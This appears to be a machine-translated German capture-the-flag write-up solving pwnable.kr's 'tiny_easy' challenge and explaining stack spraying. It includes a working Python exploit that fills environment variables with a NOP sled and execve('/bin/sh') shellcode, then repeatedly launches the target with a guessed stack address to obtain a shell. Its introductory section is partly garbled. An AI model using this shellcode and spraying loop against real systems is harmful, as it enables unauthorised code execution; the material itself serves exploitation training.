Problemlösung mit pwnable.kr 27 - tiny_easy. Grundlegendes zum Stapelspritzen

Bild

In diesem Artikel werden wir die 27. Aufgabe von der Seite pwnable.kr lösen und verstehen, was Stapelspritzen ist.

Organisationsinformationen
, - , :

  • PWN;
  • (Crypto);
  • c (Network);
  • (Reverse Engineering);
  • (Stegano);
  • WEB-.

, , , .

, , Telegram . , , .

. , - , .

Lösung für den tiny_easy Job


Klicken Sie auf das Signatursymbol tyni_easy. Wir erhalten die Adresse und den Port für die Verbindung über ssh.

Bild

Wir sind über SSH verbunden und sehen das Flag und das Programm bereits ohne Quellcode.

Bild

Durch die Überprüfung der Datei stellen wir fest, dass sie keinen Schutz hat.

Bild

Laden Sie das Programm auf den Disassembler herunter. Die Datei ist sehr klein und folgt nur wenigen Anweisungen.

Bild

Zu Beginn extrahiert das Programm den Wert aus dem Stapel in das EAX-Register. Anschließend extrahiert es einen weiteren Wert in EDX und überträgt die Steuerung an diese Adresse. Aber was befindet sich ganz am Anfang des Programms auf dem Stapel? In diesem Moment habe ich auf dem Stapel das gleiche argc (die Anzahl der Programmargumente), argv (ein Zeiger auf ein Array von Programmargumenten) und envp (ein Zeiger auf ein Array von Umgebungsvariablen).

Bild

In EDX wird die Adresse also auf dem ersten Element des Arrays von Programmargumenten platziert, dh auf dem vollständigen Pfad zur ausführbaren Datei! Wenn Sie versuchen, es als Code auszuführen, sollte die Anwendung daher abstürzen. Wenn Sie überprüfen, dann stellt sich heraus.

Bild

Stapelspritzen ist ein Angriff, bei dem Fehler im Speicher der Anwendung verwendet werden, wodurch die Anwendung gezwungen wird, Speicher für eine große Anzahl von Objekten zuzuweisen, die schädlichen Code enthalten. Dies erhöht die Wahrscheinlichkeit des Erfolgs eines Exploits, wodurch der Ausführungsfluss auf eine bestimmte Position im Inneren übertragen wird. Es ist wichtig zu verstehen, dass dieser Angriff ohne einen Exploit, mit dem Sie den Ausführungsfluss ändern können, keinen Schaden anrichtet. Der Angriff basiert auf der Vorhersagbarkeit der Adresse im Prozessadressraum.

Beim Erstellen eines Prozesses im Betriebssystem wird ein Adressraum für seine Anforderungen zugewiesen, in dem sich Benutzerdaten, ausführbarer Code und einige Systeminformationen befinden, die vom jeweiligen Betriebssystem abhängen. So werden im Stapelsegment Variablen mit einer automatischen Platzierungsklasse sowie Informationen gespeichert, die bei jedem Aufruf der Funktion gespeichert werden, z. B. statische Variablen und die Rücksprungadresse beim Aufruf der Funktion. Beim Stapelspritzen arbeiten wir mit Umgebungsvariablen, in denen sich der Exploit befindet.

Auf diese Weise können wir den Shellcode in den Umgebungsvariablen auf dem Stapel anordnen. Aber wir werden viele NOP-Operationen vor ihm durchführen, da es unwahrscheinlich ist, dass wir genau an die richtige Adresse gelangen können.

import os
import subprocess

payload =  "\x90"*4096 + "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"


Da das Programm von der Adresse 0xff ****** ausgeht, nehmen wir die zufällige Adresse für den Stapel aus dieser Umgebung, z. B. 0xffbbbbbbb.
addr = "\xb0\xaf\xb5\xff"


Jetzt werden wir mit unserem Shellcode einige Umgebungsvariablen erstellen, sodass die Wahrscheinlichkeit, dass wir darauf zugreifen, höher ist.

envs = {}
for i in range(0,100):  
    envs["env"+str(i)] = payload

Und mehrmals führen wir das Programm mit unseren Parametern aus.

while True:
	p = subprocess.Popen([addr], executable="/home/tiny_easy/tiny_easy", env=envs)
	p.wait()

Nachdem wir den vollständigen Code ausgeführt haben, erhalten wir eine Shell.

Bild

Weiter mehr ... Sie können sich uns per Telegramm anschließen . Stellen wir eine Community zusammen, in der es Menschen gibt, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.

Source: https://habr.com/ru/post/undefined/


All Articles